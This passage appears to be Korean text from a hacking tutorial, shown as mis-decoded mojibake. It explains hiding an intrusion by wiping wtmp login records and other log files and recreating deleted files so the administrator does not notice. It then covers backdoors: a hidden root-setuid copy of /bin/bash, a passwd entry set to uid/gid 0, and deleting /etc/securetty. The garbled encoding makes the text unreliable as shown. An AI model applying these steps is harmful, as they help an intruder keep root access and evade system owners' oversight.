ÇØ´ç ÆÄÀÏÀ» »èÁ¦ÇÑ ´ÙÀ½¿¡´Â °ü¸®ÀÚ°¡ ´«Ä¡Ã¤Áö ¸øÇϵµ·Ï
´Ù½Ã ±× ÆÄÀÏÀ» ¸¸µé¾î ÁÝ´Ï´Ù.

À̹ø¿£ last¿¡ ³ª¿À´Â ±â·ÏÀ» ¾ø¾Öº¾½Ã´Ù.

[ wtmp¿¡ ÀúÀåµÈ Á¢¼Ó ±â·Ï ]

ÀÌ·± ½ÄÀ¸·Î ·Î±×¸¦ ±â·ÏÇÏ´Â ¸ðµç ÆÄÀÏÀ» Á¦°ÅÇØ ÁÝ´Ï´Ù.
¹Ì¸® ½ºÅ©¸³Æ®¸¦ ¸¸µé¾î ³õÀº ÈÄ µ¹¸®¸é ºü¸¦ °ÍÀÔ´Ï´Ù.

¿øÇÏ´Â »ç¿ëÀÚÀÇ ·Î±× ±â·Ï¸¸ Á¦°Å

Áß°£ »ý·«...

»ùÇÃ20 - ¹éµµ¾î »ý¼º¹ý -

½©À» ÀÌ¿ëÇÑ ¹éµµ¾î

°¡Àå °£´ÜÇÑ ¹éµµ¾î´Â /bin/bash ¸¦ ±¸¼®Áø °÷À¸·Î
Ä«ÇÇÇÑ µÚ root ±ÇÇÑÀÇ setuid¸¦ ÁÖ´Â °ÍÀÔ´Ï´Ù.
ÇÏÁö¸¸ ÀÌ°ÍÀº find ¸í·ÉÀ¸·Î ½±°Ô ¹ß°ßÀÌ µÇ±â ¶§¹®¿¡
±×¸® ¿À·¡°¡Áø ¾ÊÀ» °ÍÀÔ´Ï´Ù.

 

passwd ÆÄÀÏÀ» º¯°æÇÑ ¹éµµ¾î

¸®´ª½º´Â °èÁ¤ À̸§ÀÌ ¾Æ´Ñ user-id¿Í group-id,
Áï ¼ýÀÚ·Î »ç¿ëÀÚ¸¦ ±¸ºÐÇÑ´Ù°í Çß½À´Ï´Ù.
µû¶ó¼­ root ¸¦ ÀǹÌÇÏ´Â 0À¸·Î uid¿Í gid¸¦ º¯°æÇÑ´Ù¸é
ÇØ´ç »ç¿ëÀÚ¸¦ root·Î °£ÁÖµÉ °ÍÀÔ´Ï´Ù.

uid¿Í gid¸¦ º¯°æÇÑ ´ÙÀ½¿¡´Â /etc/securetty ¶ó´Â
ÆÄÀÏÀ» Áö¿öÁà¾ß ÇÕ´Ï´Ù.
ÀÌ°÷¿¡ root ±ÇÇÑÀ» °¡Áø ÀÚ´Â Å͹̳ÎÀÌ ¾Æ´Ñ ÄÜ¼Ö Á¢¼Ó¸¸
ÇÒ ¼ö ÀÖµµ·Ï ¼³Á¤ÀÌ µÇ¾îÀÖ±â  ¶§¹®ÀÔ´Ï´Ù.

Áß°£ »ý·«...